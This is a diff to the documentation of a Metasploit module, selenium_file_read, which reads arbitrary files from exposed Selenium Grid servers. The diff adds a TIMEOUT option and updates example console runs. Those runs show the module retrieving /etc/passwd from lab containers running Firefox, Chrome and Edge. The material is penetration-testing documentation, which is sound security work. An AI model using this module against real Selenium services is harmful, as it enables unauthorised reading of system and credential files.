@@ -47,6 +47,11 @@ This is the file to read. Default is `/etc/passwd`.
4747
4848This is the browser to use. Default is ` firefox ` .
4949
50+ ### TIMEOUT (required)
51+
52+ This is the amount of time (in seconds) that the module will wait for the payload to be
53+ executed. Defaults to 75 seconds.
54+
5055
5156## Scenarios
5257### selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04
@@ -65,6 +70,7 @@ Module options (auxiliary/gather/selenium_file_read):
6570 RPORT 4444 yes The target port (TCP)
6671 SCHEME file yes The scheme to use
6772 SSL false no Negotiate SSL/TLS for outgoing connections
73+ TIMEOUT 75 yes Timeout for exploit (seconds)
6874 VHOST no HTTP server virtual host
6975
7076
@@ -74,6 +80,7 @@ msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4445
7480[*] Running module against 192.168.56.16
7581[*] Running automatic check ("set AutoCheck false" to disable)
7682[+] The target appears to be vulnerable. Version 3.141.59 detected
83+ [*] Started session (4a48aef3-9379-4cbe-9d6a-1ecc3176dc14).
7784[+] /etc/passwd
7885root:x:0:0:root:/root:/bin/bash
7986daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
@@ -102,6 +109,7 @@ messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
102109rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin
103110pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
104111
112+ [*] Failed to delete the session (4a48aef3-9379-4cbe-9d6a-1ecc3176dc14). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
105113[*] Auxiliary module execution completed
106114```
107115
@@ -110,7 +118,8 @@ pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
110118msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4446
111119[*] Running module against 192.168.56.16
112120[*] Running automatic check ("set AutoCheck false" to disable)
113- [+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready.
121+ [!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
122+ [*] Started session (eb790e48-318a-4949-a7ff-8566f181a609).
114123[+] /etc/passwd
115124root:x:0:0:root:/root:/bin/bash
116125daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
@@ -138,6 +147,7 @@ messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
138147rtkit:x:104:105:RealtimeKit,,,:/proc:/usr/sbin/nologin
139148pulse:x:105:106:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
140149
150+ [*] Failed to delete the session (eb790e48-318a-4949-a7ff-8566f181a609). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
141151[*] Auxiliary module execution completed
142152```
143153
@@ -146,7 +156,8 @@ pulse:x:105:106:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
146156msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4447
147157[*] Running module against 192.168.56.16
148158[*] Running automatic check ("set AutoCheck false" to disable)
149- [+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready.
159+ [!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
160+ [*] Started session (2b4d313e-6e42-4c33-8bc8-630103269ef7).
150161[+] /etc/passwd
151162root:x:0:0:root:/root:/bin/bash
152163daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
@@ -175,6 +186,7 @@ messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
175186rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin
176187pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
177188
189+ [*] Failed to delete the session (2b4d313e-6e42-4c33-8bc8-630103269ef7). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
178190[*] Auxiliary module execution completed
179191```
180192
@@ -183,7 +195,8 @@ pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
183195msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4448
184196[*] Running module against 192.168.56.16
185197[*] Running automatic check ("set AutoCheck false" to disable)
186- [+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready.
198+ [!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
199+ [*] Started session (599a7d03-1eca-41f3-8726-3a192104dfc1).
187200[+] /etc/passwd
188201root:x:0:0:root:/root:/bin/bash
189202daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
@@ -209,15 +222,17 @@ systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
209222messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
210223pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
211224
225+ [*] Failed to delete the session (599a7d03-1eca-41f3-8726-3a192104dfc1). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
212226[*] Auxiliary module execution completed
213227```
214228
215229### selenium/standalone-chrome:4.27.0 installed with Docker on Ubuntu 24.04
216230```
217- msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4449 browser =chrome
231+ msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4453 BROWSER =chrome
218232[*] Running module against 192.168.56.16
219233[*] Running automatic check ("set AutoCheck false" to disable)
220- [+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready.
234+ [!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
235+ [*] Started session (363b104ba9d167f434518d3eb1add0c6).
221236[+] /etc/passwd
222237root:x:0:0:root:/root:/bin/bash
223238daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
@@ -243,15 +258,17 @@ systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
243258messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
244259pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
245260
261+ [*] Deleted session (363b104ba9d167f434518d3eb1add0c6).
246262[*] Auxiliary module execution completed
247263```
248264
249265### selenium/standalone-edge:4.27.0 installed with Docker on Ubuntu 24.04
250266```
251- msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4450 browser =MicrosoftEdge
267+ msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4454 BROWSER =MicrosoftEdge
252268[*] Running module against 192.168.56.16
253269[*] Running automatic check ("set AutoCheck false" to disable)
254- [+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready.
270+ [!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
271+ [*] Started session (80c4ac70d41d4ffc5585e750c94d9ac5).
255272[+] /etc/passwd
256273root:x:0:0:root:/root:/bin/bash
257274daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
@@ -277,5 +294,6 @@ systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
277294messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
278295pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
279296
297+ [*] Deleted session (80c4ac70d41d4ffc5585e750c94d9ac5).
280298[*] Auxiliary module execution completed
281299```
0 commit comments